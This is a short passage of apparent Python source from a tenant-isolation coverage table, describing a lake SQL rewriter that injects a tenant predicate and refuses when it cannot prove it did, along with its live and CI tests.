+ "lake_sql.rewrite_for_tenant injects tenant predicate and refuses (LakeSqlIsolationError) when it cannot prove "
+ "it did; live-replay test_live_stores.py::test_clickhouse_lake_query_as_A_excludes_B (isolation-live.yml); "
+ "rewriter run against two sqlglot majors + pin agreement gate (lake-isolation.yml)",
),
StoreCoverage(
"redis",